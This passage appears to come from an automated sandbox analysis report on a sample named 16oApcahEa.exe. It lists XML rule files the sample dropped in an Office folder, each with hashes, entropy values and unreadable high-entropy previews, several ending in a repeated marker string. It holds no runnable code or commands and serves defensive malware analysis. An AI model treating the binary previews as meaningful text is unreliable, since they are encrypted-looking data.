Preview:	<?xmlu<.y.[..[..+-OMc....D..I.m'......`j.U...C$E%Dz...".C..Q'.kNq ..... Ox.i.....[.....<;..j....!.m.....Ip..I...q.B...J..xZn.S1...RA...s.X}.V.....Ng.G. .lb..H.-.K2...Jr.bV..MX....aM.r.rZ...F...'.%..J.jz3)$&.69.Xv....... 77D...&xh..g........G...L].0....6.E.........2.......A..fI0.9....tw......7..s..1Dd9.....v......%.#.,.{>.;uq....nA..Gs..4..e....u.EAr.<..T)......[....n<.j.]p.[9.Cx...,>.X..$....f.1G...2?.'\|0svK.....eldm....%.);.e.J..R.....{...\r2...G....]..3:..b.w.Gr.q...i.7@.'......Kh.<I.N.y...H...'..SI......M.....s...... ..s..&...L...l.....N.z..=d.\|..{.@f<........h^..u..q.BO.........n$j..?.\|..r...@.....w..+....D...%><Mo{.5.7..D.Fa{T#js...\|..e.......\|...ez8J.I...!..f...q?;0~8S8I.$MC.Y.%I.......+..R. _.U.)3.Y....1.T....y..!....l&..........v{.._V....l...Y.C.......i...yec.s..7R..7..5ZG.t2k....Z...'......F.....tq..&<J..O2..}.`....p.....Zi...e.....5..t*.k..e`.....n.IU.......Q.......p..Ft....3(.`..3.t..0.....%.7....d;.]...(l..?....aG.B..&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.867408617241608
Encrypted:	false
SSDEEP:	24:mMGBViN2pW5HP84CRHpQ7v6tojNMEqccDMVPIpJfhcWmgHzM89D4gLhNSfTTSjeh:mJKN2YEjRJsv60ME3HuJmWrThRqdnI8X
MD5:	B12AE8D3B44D4F2D19BB3E30F716BFAE
SHA1:	334D9258B71072387314688C3E2AA09AB2C37639
SHA-256:	77E9F320591739BD1DE378F4DF39E7BB328D8F109908A19A9DC31D68A7769E1A
SHA-512:	44E156620D0412CB50A589633843597F2CA0445E1A2C81EA3142D9A55D3F8631B59ED2D273FB191A9099E5B67C479841A2D2F5CB83FC8EF943C3431C7E5AFD63
Malicious:	false
Preview:	<?xml.Q.,.2...o...%..m!.`\.yy.2N.&.\=.h\.5..C..M..U..ugvO.W.x.Y.7y........dz>o.._.....D.f.h.I...\|.....0.'..#...Z. ....:8=\...R.."..Vi..........f.../......`..!..NN.....G(.....2w...{.6..y....7@.j+.pRp...g) ...l.X~v... 7S..)T..m..G.[.u..,o..Z...g.....9.t@....#.&H_...:g?...mF..X{l.^.QZ...)W....RH.o.c...3.[...C6.P\|.0K.$...x.J....gU..3.;/....c.3D.j......b...9].69(.d...G.:.%>I.F..'.k>M?..{....0.Y)G.G.=.<N....H.n\|&..p....K....)i....N.....{.m?.-...J.,S.`3.V......j].yN.....-Im...Dn.._@..0....-..+.......t.r...i.....o..;Q~..#..u...W.;.#].<r....G.@N(.g....Cl.....;....7A.....=\|.......:..+.....+...o./a../2:V.gt..D%...+J:..xF.~n....]....wNY%.xk..o(..1.>..&@....A..o-...2..i&.y7.[.M....&....q].../.\|VBD.QV.?..i...4.............H.......!a2T.}.v_....M.ah...Td`.Z.Q....r....b..1N...:^.i6..6.....nS.j..f..."Y`).$...SW...`....Mj.K....L.k.%..^...TX.....B..j...O1.d#\|!..!N.k.@q.X.....Ql>...6.......4....9k.i.Ip]3A.R3V .8....z..;....n....U.6.d.F5...-.7..1..Q!....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.852033758008032
Encrypted:	false
SSDEEP:	24:LJPhay+3+uwcUGEN+O2kRv7BywN/33mGDLHH1MXdjT8SJ2jBKc3C9pbD:LVhP+PyGENl2Uv7BV+UbVMXZT8SJ8BKv
MD5:	43BECCA7EC81935E1F6624A0C038472D
SHA1:	76B779CF7EC84AD81E9053F47B300BC663945B13
SHA-256:	736FDA370C4B1EB3B79C3A5D179B1BFE11B56691F38FB63A4C7CC5645957EFA2
SHA-512:	A3EDE6233FFFA1D3B4B5356D7F5EB080F8C7877BD015C0A7B90AC455EE3F355AD57654E0ABE2087F678A8C8D9B9D1A1D6C8DF5A8807978B0B179D3DA19D99135
Malicious:	false
Preview:	<?xmlHy...zm...L.[...g..n.......b...P..c.b........Bke.....{.(j2..\T...z....= d_.@.."+`h..J..Z.y^..dU6.S.O6P.........4.r.+jvW..'3nU.w.....h.q..uxP..3.K.....#Z....i8..^...D..q..Cd..A.T.7ug..1e...>...zR.P..k.f......`../,>#.6.C"... 2 ..;.4....(C.....).D/2'tU...3......z<...1.M$.."d..!x....9@_...;..)...^.J....\|.kZ..6._......'...Y...z.h2.....g..wNC..w.b......2'...\|.G..P,s..-..?y$'o...KJ.....C.%....m.."E....nB\..@..H...D\|.;....\v.".../.z:.....l......y....`ew.....!V.t-...+?..Z.....?>X.m.A.Z..(km. ^T....,..........BMH.7z.......n....O....D.....h.#..j..:....c...ZZ.d4..`a....X..F2..).i....{.UYMz..S=....%...Gy...F....B...oU.@....I>.m...9+..(.f........A3>.m...\v.../..G....e.^p.^..A...;..U;..P..3~)...{..h..v=..z..+.aN....e....#.. .@b...9.y..........._O..gC.\A..%....%W....6v.Z..P..+...}.l....S..l..V">.?..N.Hx@.ehp"Z.!?...&.0.EV.......:l.6.X.R.,4.2._/..Q[...JHP...{..A2...-....P......[...`..<......f....m.Ny...:..Dh..SZ,.S..*(...W...f...y...=...K.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.87358702358358
Encrypted:	false
SSDEEP:	24:nmSKmI6k/dJAnCiXd95ED+nnvBE/qglNuTifl2hNrUoZddvKUc7Kak9pbD:nmfmI6k/8Cq95g+nWqg/ujFbdQKXJD
MD5:	AC421B4B312719266FCB4080FBC88F4D
SHA1:	3D75EE7D0F1663733A5E57FD35E8D59C86FF64F3
SHA-256:	ACE5001DB86FD683AE6560569EB857BF1138C145E9EF09E1A35C2C4FC9D3D3B7
SHA-512:	FA8F0A27AAA049C2FA9BF6C104112DA230F2D7CE49552D8377AC09630291EB0C7254773F763138023A9CDF963B89E50658BBBA44828B82C0B5E8CC627B7064EB
Malicious:	false
Preview:	<?xml.........."{."..U.....{.;Q..TpW.L.. $c})`v.^.X..4.<._...9A.U.D._.....s..{......V.K....$ ....A,..........c.F.b})U[[..[x.......0...#..l.s.kws..+....)...%...\|..tL .5...f.v8..Dh.YO...+3.+..cL..z..w...8BL+..F..51...i{......j.:...._!...$.\|O\|....7x...~9&..:.[....rGq.:..W....].X.....h.B.^.fHh9.....R...h>.j....dI.a.r.:.E.N..Y.[B5.s..o.uG.......y....K.3.Y.$.~'`.e...~..].-tL.{.gQx..K2...Xi.,..f......J.Y-aF....4~.i.HN...d.Q..........ntYT5...\|..h.......i.}N.H=...w...o..).q.J.....z.}r A.(.,E.w...[]...X..K..`.....3..t...?.....:......P..A..V.q.T..Dn.......(.:Kn..?&&6I..4~.._.Y.,..........Y.-..`>..o.%..k"..q..t.+5..N_ .$.a...5...K.".....P.....1.1}..#..[.1.~T.y......+.q...Pg...<%..YZK..^a.>..N.[h.$.MO.W..\P.....a.!{..z.4....4lr..z....[!.]V.z!.k...w.fa..1...9.R.2.d.T...0...g..{."_.fv{.{>......".4sV.L...)1d..<.^.3:..k...P...7...;......M....qK}.3&..}!..E=...}$...[.M.R.I".F.C.N."E.@.:..@...p.K...(dga.-?k<..zE...1.X..#.Z..*p....ES..^a8h!.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.69402989683961
Encrypted:	false
SSDEEP:	24:6cEZLb/TRKcaUioZfcpyI1kKXE7abUMW9pbD:61BFtaUxxcpyI6h3MIJD
MD5:	D6D7D711D24931FF5F88C3399A95BE46
SHA1:	F2E98143338A980D3AD661E57CAB4C43DE2DEC76
SHA-256:	33F39E98196D769A0EB8C85A260CCD7893089A1F220A101950594018902E544C
SHA-512:	2CE24E3D387423FCA82A4994E4C36541B365B920B710510115ACC08693288BD219AE8067D372E58330019A2D7E19886B1AF87AD1AE3C5FB2BDE0F3AB01EB9F58
Malicious:	false
Preview:	<?xml....-_...>.6..r.+......d...n...y...[...a..4NT...?.6:..a......Tj.....;..A$rl..>....3'.m.[..&/..J....qSh...E..k...%.'........:....w....d....Ha...Rd.h....k...2./2S.4.-62}N....Y.G8..RcD..<..:....!..U=....Z.....Ca..t.. a6..i..E.(...o.p#d=y.Q...........)m..~(.c..f.4...4u..........".t........F..}$.P.H.d../...!~..d....]..mt.1e......#..oQy.~...X.l..P.....Vup...B...1<u..r...t.u.nfu...O...4`D.n..e.#(....r.3.4.3/.s....o._{k...>.7.N..-M.o.{^.._.2h..._7R~.`.E(.<}=D..~6.%2;.+nq.%...gf.KK[..4h....n.}..s.P..:.j.ZeL.=.0R...I...y/4.hj....k>....,&NVYj..4..7.{c.e;..o/la.k....a....cWCH.N.%d...}...\8s[a..4.....~.p\|*B.u..ns.......X....b.`.`..ah..P.~D9~...b.\.<Ig...jZ..&(...wjO.~.p..b.Jw5N^k......hZS<.......t..st..T#=b.>$+..]s=k.L..p...E.E(4Ea3..p...W.. l......#LE.N.I.....-AV............a.....+...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.950487418168301
Encrypted:	false
SSDEEP:	48:agDJEOGYVgYwxA81CERvvQZDcAOs3mB+K5DPLHTBdOa0VDZV5TkvcyLDNnrnkaR4:HaBAKvIBJOsOHOa0VtqDNrnk+Al
MD5:	E476821F202DC971B0317DA61CCF9B64
SHA1:	64C80D8294694F77A4EAAEE6434FE21012239ABE
SHA-256:	E8C1B89A6D4DD662D7184097D86B6F4B9F3BDCFA6B959E438138D75DB3CA47A7
SHA-512:	79EB08B70F09938A623165412D840D1A8090D9E25F2151DB9435FD8F7F9CFC8E8FD00D288C7869E60428DA592F3191978F1FA101D8DB0886D4FE5249B4EDC257
Malicious:	false
Preview:	<?xml6....g..C.1...QuG.l>>..l....Xy...t6..1.R.t)j.n.].O..).wF.'..D.P...C+....@..M...w......\..V..&......8.5....L...W.,.f.J.m..j.<j.kV........1...~D).i..W....C..eNO.r.G.,.....K..\..t.-.L.0]H....L8>5#"i..4C.....>K1.,.A...c..Zr\|.6[!....m.<......t}..z.....FW.[.....BJ...q!.......I..h......-4...T.d....H.C.8..'ARt.......\|.r]{..u...e..'.........}...q..d.H..Z._....u.......c..BF.K...Q..f.Y..o9...a.w5...C..Pj.w...GM......d.+.sx.x0.@..$....e.[Q&.Y.s;tJ.&>...@...N....4.W..c..W...q.u.....gr.........t.D.....D.(O....^t.V...R.N.@b..B.@L..B.k..I......7...a=...3.jd....I.....@2.dz.uZ.....BWm...RI......<..[.Q..Nd..~..vd..N^.C.p......Z...........V......r...@.x_..'.9.{.O.m;.......e..zy.......".v..h. .i.(.J...al...."m..j.....;;.@..]r.1...&"1).&=P#.Ru"JQ..4...2.T...y\kq.]...x....l..u...#..]...z..X\d......].........;....oG..(.....+..G.:.....\|.U...^...}&.$.)YQi.].]4..~9)0.h"..9.8.U.....;s.uM.a.=o~........".z.5....3h4'."^....I.....6c.....Hp\|..Ym.Dvu..(;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.947484681974141
Encrypted:	false
SSDEEP:	96:Gld3RcO2ErH7mAYXF+kESb8TJ7AKuWLwOqVKnkYkVPrhmp:GDRHHLYXaSbmJEKu8wOqVKQpS
MD5:	3DE28A41BD83FF67C6997CFE8B178B0A
SHA1:	C56F608E1CB026E248C0A4FFF6B36C815B865712
SHA-256:	61F1B7377D91989717F495CA04B2FF986AA2D9D4BC5C96B0D28C87F197D8F46C
SHA-512:	E5C346968F7CE8E87D986201C3FC94651DAD0F15BC87A4429CD567F54745417E91FA012B3FA3FF0D2DF6365F3A22830696B1DDB5274BB27E1664F88519F704BD
Malicious:	false
Preview:	<?xml......4.....z.A.:.L..C.'."......W8._....T.$.2........o-..]........:;..A..6..q.C.......p...=z..H.....RX'....8@...Xpq...O.J5.......].L......y..p..Ry1..E.]..if..t..Ed...+..}.u..V..b..`...R..MHj7.Q..7\|.R..Qr+.-h...Xx....PCg]..Y#7F!H..4h9LM.......>..}.:.N^a6.D..........`0{.v...u7..a.]..#.....\.?m.A..n.Z$.i.".........M...l...".......O.\|...h....&$..Q. Vb.........(pk....7.~..^].<..y`e._(R ....cJ.K\|7...x.. t..q...o..k\|3.!x#....4..R.2;=..)..1d...^0`a.@...t.P.Z..O...j..x.-.h.YY...b3..g.j..8;.`'...v....^2D-SR/....xqzW...T.Ph.W...}.H..[/.........P.6.5...K...1..?z..z.....=.C.n.no..a.q~.u.o.A.~Ea.9].h.........fZ}\|{j....Z...X...4.x.dJ..L'.]....G....U!.....n......d. ...l..M.{4.]s5R..K.Hj.,Id......s.......7.....~U....d..&e(H./-.A.h.i..o$.T....d..C.......K...1.a.\.Vlo....e.A..n8..b..OQ.g...[. .s.=...TU5..-.c..t...[.....$....w.GQmt.r.....:s.....;..QRn.hwE>..0.x..'.a...~...V.;....r.........G~46H .L.R-.%L...<y....A.>.F..l..<:9y...._..d.F.1.[.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.7098075516065165
Encrypted:	false
SSDEEP:	12:ymcPwazT2WcdmkP1FKawBpSI0TBWbXMd77YbhUNSM/mmHWJKtTR8nSC9trD9M2cq:TCwa/2LdmTBp901WDM17Y9A7GJKL8nSi
MD5:	16EC451227DD733546D2F08204362918
SHA1:	B9B55A78654F2198C0E9BD322F12DB314C1AB6ED
SHA-256:	6E6059554D41404CFBDCAD8EE70C8C54577195CF11F05967804EC67186C25DFA
SHA-512:	1873ADAD8C3195B44B7D0B30EE12D44643C1961001848CAFF5189F9250416CBCC069883AA53026F53B0BD2FFA4625B7FB4AC39562F2BEAC4E26CCD68B9880B8A
Malicious:	false
Preview:	<?xml..b....6+.y.J.....$.._..rGyC.r....Y.M.7........'.X.=H......7.Qw.^.v..(.6a....{..6...0.1}.K...T.[./P_..}<...i..J.b..........j...`f.v.K.s).f.tb.....x.L9..r.o..f.!.c..U.J.;....].....y.U.Gv:M..D..{.Bw....u.lY2.T.b_..-..,.b...@jT..i.._7.....\..$..C.S.zU.]. .....#@....f..T.....).-=..>F.kc.{\|...:.n.{(...iZX...=FQN"].......T...o.q....Y......k+..,mU...aae.i%..S...EYe.4.m.K..TX.&X..".".s.H......^.F...L2lCB........]....t......L............M.g.....3......4Q..!.su.g1/i.....<......".....zc7..l`..tMm.../...a....u..#1......PK..M.2....Ne.w.}.s+A._...B..v...y....W.x..#....'X..y..Jo.>....Cdd...T`e...R...nh...N;./Wi-.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.868873909690529
Encrypted:	false
SSDEEP:	24:fnK0IqH6cFsueiPRj736qouqmYP/f5gMlKKQR1BGa/lWDcFLVTd71NtcAl9pbD:fK9dW5n3LemK/RX8KOa0WDcPTdPO2JD
MD5:	AC27E82E32144533776C1649876BB788
SHA1:	91E381AB010529A7631D29CE02D012B7FA976CF8
SHA-256:	D37185F1BDD3C672CD376BA932C3008786DC4E6D434ACDCB45309BE59F360A51
SHA-512:	248D2C020DD8FF800C05E19C666310D29AE42DBD2937C2793D5813D9D219A6523420B949AC3B5AD022FAAF512ABC013F9EDD37DA633C7A4112F5E3D00A4C437C
Malicious:	false
Preview:	<?xml..8sv..W.kc..p...)..'.x...pS.v..[..w.iS..A.O.)..K.......-.L%..C..3....q..7...r.5k@U..V..l.1OO;.....K.y%LB....F.<q.a}.}...F....(.....\|.#...lF9...o..Ud.....t.~......B..\|;..J..%.y.\|.......O=.@B.."...n.H..j......+.Pf...N..U.A..Oi.!.p.m...Ii..w?..Go..1V.)yz.qG..B..}..0....4......+.....%B.;.....<.y..q.*.L.J(;^...c..b.Z...._._4.1M}}M....B..!j..yy....zr..pl}3C.......`....!.....Kg..9h..U.Q+!....u..L....]!4{.\|.,~<b.pK.\|..Ff.X.3.@L...rc.e}OwLG.)q.8.5...sG.D...4...R..)..O..7.y.p.c.\3.a....1.}g....L$...TI....U.+..tPD<...PL.VL..7"..k\.c'.&...........2.-..p$..K.jzu..g?.....4.N.>.76.}Kl.O......Zx...9.,.y..zu...;..X.F.k.Og.R...;+5 ..<..0G}...I....O.t3...k....[.<8=..=....,.....v.]w....W......UK .....7~...G....g.:O\|,o;,..DY...&V.!.j...NZ.30.,.>.r...ky].+O(b..?....([c.6.h....W.6.$..1...H..9D...+.,..O`../..Y,1_.UR..Cg..d&......z,....= .;K.l...w...?.#..T..9......2......)jF....1....t[.]O...W".s.{.l.M:=CLa..K..`.>#..BW.u)..a6..Me.m.Jz.;..:..Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.735521329160783
Encrypted:	false
SSDEEP:	12:3OkjSX+DW2K8mi+XNahZV/UpIz3qt8f8oIgAHK/pmpD94huvVncxM1TOpHz9M2cq:3fj6yxaNYnMABLCqhmpDFOCBOpz9pbD
MD5:	D2BE62FB5773EA8338BDB2CACB4F6D13
SHA1:	23B5FF75C1131BB6C3108201AC5AD3440680189C
SHA-256:	3C94F81CFDCBCEC25AD505244F221C95D4CA0ED641F41A7739F0B7FD222230EC
SHA-512:	EC8E87BBAF51E5C6D8F286FDD4F63430FC73D1DA684D135B15C5281A420F0B4CA705B63BF5BFB571CC713D3F6087AF8CF9A68E623F6D4C23A0D8A99DB9EF10FC
Malicious:	false
Preview:	<?xml.z8<.....A.gh.FZ..,..'...`.G......}........p ...........{pW.....K2+..<h{.&..,...%m0H....!.s.%\|...}L.7v................T+d.........=0&\|........".Vd....5.pl..Q...L.J..........oD....Kc..m.t".h..+LS6....}....6....b....~./...N...T....kR%Rh....U.%...?..j.Q.b0gt....G7(.F0.....@.x..t...x.G.s..t......c&.j.F$.v....Xj`)@E....;Q../....qb.\.0..U...81..E].O}._.q!...T!.7}.4Y<.z.:..t...\|^..o98..N_..~..f.sqT...R.a..9L:t...=r...D.j.....%.^w-_].09....v...?F.n.}.....Z..].....H.$..].LIm....9..!..k..y..5.2.>NE.N.+'>..$.\..[...~..R..l.p.m.q....O.....m.\|.d.gM< E.M~.+.:!. ...I6R..G....m.....f.v.80\..x...B./5.f.C.g......f<.ad.nKD....`...=\.r....?.<....W.....G.........?@.%p./.....*.p.;./...e.E.$.x.F.w..Nj,.........\|./&.NxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.763551383156018
Encrypted:	false
SSDEEP:	24:DYt+0fBPiPGjtQGFqqBmH1k6a4vGg1+IUtzxgbho8m9pbD:DYFZHjtQ9qW1Xa4vG++IUglo8YJD
MD5:	F3669341DBFFB6ECF09029FC82DE4D6D
SHA1:	30B8AC0255B90F998A5642C49B73FA4F4E93886F
SHA-256:	3DBE09C57046FB90AAA7AA9EDAA29A6BD2EB3C1004A4600080311DC24E002854
SHA-512:	0E4A4E25686D76EC441678F292A2E48D4420A5D0B36916E90B02B392F216FC953BCF6E361BA6F3F33E3A4AA02784C7761CF16E4B62C3A37F00F31757A5D4F087
Malicious:	false
Preview:	<?xml.w9..o6.H..RY.:...U.5..$b.^.I.;..q.!.....{Q.0S..p.i.gw..X-.......k1..8...X`\2.>....N...A.R...&..md.[u.....%x...}..1>.........!./J[............65N.62.:.k)1:.cn."...\EU.:...S4..YW....j.E1.....x&..HG.B....d.2..vv....s4.j).1d..I.ON.9 ...y.ho....,ln...Bo....!..6i!.......I...t;W..G2.>.6.?5..42.....'..K....].5f....d.A..P:Z......r..j..,~.....u2y(%.]...dT8.,1..5A..^.Uw97....p./.L..__.F\.D ..[...Jq..i.id..T.#%Q..1s....A..m...B.W\....s...i@X.K..&.....GG....;...e.K..N...&.O?#O.]...+D...0...7.o..j+.....5.._....}X..&.!#.P...K....2.>..$.E..xU.OJ\.......JA......^%....1...H.......E4H..PO...9..0yr.j....b.....P.`...?.?....D..&..6.\E....x.p4.........Y..u.L=D...;#g..X.&.i.t...._...Fc..P^.>I....&Bp.G83...........J.r...,..:..."..`...^...E.B.m..........!u.YFx.\.6......w2T.+.......zU]....j....v.N?.S....._o.fb...8Q.r]..`Z1....$F.-.'a......j...Q...: J.5..O...o..`.X,6.[p..t.+h.i..$.E...1.q4....BuZ.n.s.v@..)..'.v..f_....\\....W.L`xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.8326231573320895
Encrypted:	false
SSDEEP:	24:8pn+J7Pc9dxzaNRXTuHBQ54G3RGKZgJ7qUZiqKoRumgSJfV2p4s39pbD:8p+7O4uHmvhGKZmqGKBmdjWNJD
MD5:	69FC9BA83480C223E4462A20BDC5AA69
SHA1:	4EA1B1FF066DDC5A00E636562778B0D0443F0D33
SHA-256:	3D07C1F22C0F723EF78305F027F468EF44D2D8CD2F3441A7DC3526D2A6B101B9
SHA-512:	50D941FEC777C37F9F6627BAC50FB0C8F5EC20380F7ED1510A48FF7E2FC13011EF462A7015BB477A34526B40CD6842FC4556A343B28612E394CCD0773111369A
Malicious:	false
Preview:	<?xml.R..Z....P..f@{..@.<!..fr.rd.=z.g\8.<.........%+\|.P.b.pw....#V......8. #......h5]...kX...5#k..of.....j.X......."..?..lR..7M$.w..D...^.{pU....A.x^.y..X...$....A..w...w...%....aB ..`\cOb...%;.,.$a.x...A.2.........x}.f)....&...].x.f_.<!....6.....u....,..fH...Z.j.KqiMQ./K....GIa8..U..w1...!...).X.(......OHp!>M,MM........>....ij... ..VL['.F.qY.....a..S%.H./.Dm.....d....:.&....Y46.8Q.kE.o.0...J..h.....A.{Y}d3....~eH$.".-6.\|.q.@$..G.QI.W27\|Xf6.....S 1.Q$...?up.Hi]..cB.^.U.tP....A,...J.pa.Ssp.a..tG.P.z.' .T.e..X[%>.##....s.).......k(..K.'=Q..8z.c...?...A.K....jwp.....-......I..o.vh...N..'.k.'....BLH.]..R...KW7...\|.^...,.[........e..A.jM.J."....9%..gS.e>.8.QO.M=.%..^l..X.=nFV...O.d\|...-.Q6...D.!.Z.E..".v.E K.GN../..P9...Ii..o.....U.).J.D16..H.4....}.].f..8..YF..5....D......xv.....~X.7L.[.5..K.@7\|;&}a.h!....8.........TZ.....1.P..........>.=p=F<..J.A!B6 ...r...]..[.[=.L.d...y.kX...b..nb.f_...!.V.Uo...CI.8.8.....w.b.Gi..0.h.G.X.l..B....E%_pDB.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.866730636611261
Encrypted:	false
SSDEEP:	24:azbER/4O6WhTO2NjOj8hdfIB1Lbpce9HA241g78wXgHrXbIcI41D/ct1H0O5K7HB:anEaOpTO2wjeYLueliuerroQw0OMDLJD
MD5:	B10BC81044BD708549E6FC9D2FDA6C8D
SHA1:	E0C918F596560CAA9B6F8482E928C44FB91C7024
SHA-256:	3E51CDC7A807C567FF23000B09F0FA944C50939A07D569E7B42314ABA9289201
SHA-512:	5B79B1CECEC9F5D33C085B930FB97349455074F233DCEAD951751113C7779429062B3147A0D0C4C24962E45AC36CA3F0E39739A8D19D4C0175E1E9BCDF781F93
Malicious:	false
Preview:	.<?.>~u>..[.%e4.S.^K.......NP....2.._.o.hC-..{..Z..e_.7..{#...-...<..z.......]....woC..++<....V...w8.H.(.8.j..P...S.<!.=N..Q.....>a6..&y.9S..\|.."......v..n....Xd; Rj.F...?.hPt.......F..Cd.....-8.n..[..k.....nw'7.p ;......o..L.so..@.H.;...I..._.I..Y.....N......G.<...\Jj...........L.........(..k......]......O.pWA-.......%^.H....5....<zONZnS...IG.x.".$.d.g...%.F.[M......=!^.T.....?....9>.....Fp...$4..p.Kj>.#fWl.i..(........0.tXO...-.A..v.Czc.~..O..+.....T.D..AX....BA.8y.S6\y.e6.V..z<..@..[..I..6h...7..n..-.....`.t._.t.TH.8r....~^.HD.=o.x..s.....{.......(.5...............i..>.F....#e.kV...C0I..!..b..[9.J..}.2`.;..O~..}._`<dj.{....P.N:..oD.x...i.G....Gl.^....g.(zX..(.......'D7.(8...k~....G.cL.S...Q.YJdN.....{.>.^q..C.O{........2...p..n..&>..f6....?.@@..43....:..'.J.t-...%..5..U_ej9..4...G.l.*.....\.B.I..7A<4>k.K.....'.}.X.HuO.o........-=....{B.Z.xCBh...A...{.~....Z....DJ.x.......>.A...G....y..K_..h..zN...@...(...J..#.n.&.>...@}.9X..Z........}4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.801818385315884
Encrypted:	false
SSDEEP:	12:iHGyhvJ8Kjr+ls25ClXlQk4ynoZ4uI+7F4e3i3hLDKiQjFyXHfftHEPOJDiHFkyX:V8J/v+lE1hogkFf3NGH3NFulky9pbD
MD5:	6A161173914EEEEC468D7BB2D82D6364
SHA1:	FE451CF55A45FE492A74B1CBD2E4E8B3087AE00A
SHA-256:	6279284AB6CAA9EE0777497F49BEDFDD217E20E1A7B89D61D0CD84AC4CDB08D4
SHA-512:	E673D7456E61F745CB4AADD35F259EFA94712D3CA1DFB12A836CDBA4B24854C6622E63C960783F635B347B1DF8EE829A52FD037C711AA25421FCED6343D118AC
Malicious:	false
Preview:	.<?3Z.....z..Lq .f"[.#.v...a".kX"...f[.=.As.h..8..\.=.^..q.V}...L..}R..tR...Q...V[;g.:.E.yoX{.o.8/C\|.((....e..M...s.%..........O.:A..L.x.n>...R.~.P.n_...}o...5<0.~.,S<.....P.}.E.0V...g..S..6.?LV&......._...`h......A.8....c.X^..:..O)....FE.\./.O/.....y+....i.......i..]]@.#T]R.hQ..C~...q.D.... ....6`.!g.'.u..$Q...yg{Hl..........W.(.......y.>....\|....#W9.=>..7..,3e...E...U...c;..sz%.GM......}....Rh3..G..........8D1..=.........=...(~...F....fraq.J.$.k.....>A,iA......x.Jb..U.... .C.....j-_.....Wq.B>+....Y.T...7.%..m..E(.!.arfVw...7_..S..O...@.......iUzX...m.....e...=..f.y..m.}.3.........Y.bQ..n..:.M...........$00F ~!.^.....w..Pq9,.......,.jity..{.PI.fB..PW<.........e!....$.%...X.S.55..H.`\.KB.Cu..g......X..C.34......nC.Qa..L.C3HX.6.x$...L..9.[g.FJ..P.^...8p..........-T....0'..........~........L......n"....kF..Bu.,'.`...{......M.e.[...w3m.~D..W..t..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.953952063471191
Encrypted:	false
SSDEEP:	96:W8dUzrgGeTb1P+maSWekxsk42frwR4vJunpzYu5q0nS:Vyz0GeTZE8gshmrwppztRS
MD5:	43CE39B9333D2C38EEF027130607D0A4
SHA1:	C38ADDCDFBB8DC3BAB58BDF2747FBC435D89E76B
SHA-256:	F091BA61C9DC088CBAFBDF446C82B5DF2FE8072D4D9C58E6C1A1C9610B972701
SHA-512:	A11314296536132A3D511BA8D12A7D86E017E4339988BDDDECCF4DFBDCBC7FC5CFDF74752C40B483A799231805455A44894CDD9311933827428D8BA61B866EA8
Malicious:	false
